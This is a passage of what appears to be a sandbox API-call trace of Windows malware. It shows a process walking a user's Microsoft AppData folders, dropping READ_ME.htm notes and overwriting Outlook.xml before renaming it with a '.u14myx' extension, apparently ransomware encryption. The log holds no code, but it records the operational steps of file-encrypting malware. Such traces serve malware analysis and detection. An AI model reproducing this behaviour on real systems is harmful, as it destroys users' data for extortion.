ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0149.351] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.351] SetErrorMode (uMode=0x0) returned 0x1 [0149.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x33 [0149.351] SetErrorMode (uMode=0x1) returned 0x0 [0149.351] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2868d050, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2868d050, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2868d050, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0149.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0149.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0149.352] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.352] SetErrorMode (uMode=0x0) returned 0x1 [0149.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x3a [0149.353] SetErrorMode (uMode=0x1) returned 0x0 [0149.353] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\recent\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x2b413510, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0149.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b3ed3b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b3ed3b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b3ed3b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0149.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b3ed3b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b3ed3b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b3ed3b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0149.353] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.354] SetErrorMode (uMode=0x0) returned 0x1 [0149.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x3a [0149.354] SetErrorMode (uMode=0x1) returned 0x0 [0149.354] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\recent\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.354] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.354] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x2b413510, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0149.354] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b3ed3b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b3ed3b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b3ed3b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0149.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b3ed3b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b3ed3b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b3ed3b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0149.355] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.355] SetErrorMode (uMode=0x0) returned 0x1 [0149.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent\\READ_ME.htm", lpFilePart=0x0) returned 0x46 [0149.355] SetErrorMode (uMode=0x1) returned 0x0 [0149.355] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\Recent\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\recent\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.356] SetErrorMode (uMode=0x0) returned 0x1 [0149.356] GetFileType (hFile=0x1d0) returned 0x1 [0149.356] WriteFile (in: hFile=0x1d0, lpBuffer=0x291bd70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x291bd70*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.358] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0149.358] SetErrorMode (uMode=0x1) returned 0x0 [0149.358] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.359] SetErrorMode (uMode=0x0) returned 0x1 [0149.359] GetFileType (hFile=0x1d0) returned 0x1 [0149.359] WriteFile (in: hFile=0x1d0, lpBuffer=0x2920330*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2920330*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.360] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x34 [0149.360] SetErrorMode (uMode=0x1) returned 0x0 [0149.361] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.362] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.362] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53aa4cd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x53aa4cd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a502870, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0149.362] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0149.362] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0149.363] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.363] SetErrorMode (uMode=0x0) returned 0x1 [0149.363] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x34 [0149.363] SetErrorMode (uMode=0x1) returned 0x0 [0149.363] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.363] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.364] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53aa4cd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x53aa4cd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a502870, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0149.364] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0149.364] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0149.364] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.364] SetErrorMode (uMode=0x0) returned 0x1 [0149.364] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x40 [0149.364] SetErrorMode (uMode=0x1) returned 0x0 [0149.364] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.366] SetErrorMode (uMode=0x0) returned 0x1 [0149.366] GetFileType (hFile=0x1d0) returned 0x1 [0149.366] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x93e [0149.366] ReadFile (in: hFile=0x1d0, lpBuffer=0x2923df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2923df0*, lpNumberOfBytesRead=0x21d298*=0x93e, lpOverlapped=0x0) returned 1 [0149.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x40 [0149.399] SetErrorMode (uMode=0x1) returned 0x0 [0149.399] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.401] SetErrorMode (uMode=0x0) returned 0x1 [0149.401] GetFileType (hFile=0x1d0) returned 0x1 [0149.401] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a07db0*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x21d238, lpOverlapped=0x0 | out: lpBuffer=0x2a07db0*, lpNumberOfBytesWritten=0x21d238*=0x940, lpOverlapped=0x0) returned 1 [0149.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x40 [0149.402] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.u14myx", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.u14myx", lpFilePart=0x0) returned 0x47 [0149.402] SetErrorMode (uMode=0x1) returned 0x0 [0149.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x55890020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x940)) returned 1 [0149.402] SetErrorMode (uMode=0x0) returned 0x1 [0149.403] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.u14myx" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.u14myx")) returned 1 [0149.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0149.403] SetErrorMode (uMode=0x1) returned 0x0 [0149.404] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.405] SetErrorMode (uMode=0x0) returned 0x1 [0149.405] GetFileType (hFile=0x1d0) returned 0x1 [0149.405] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0cba0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a0cba0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x32 [0149.407] SetErrorMode (uMode=0x1) returned 0x0 [0149.407] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, 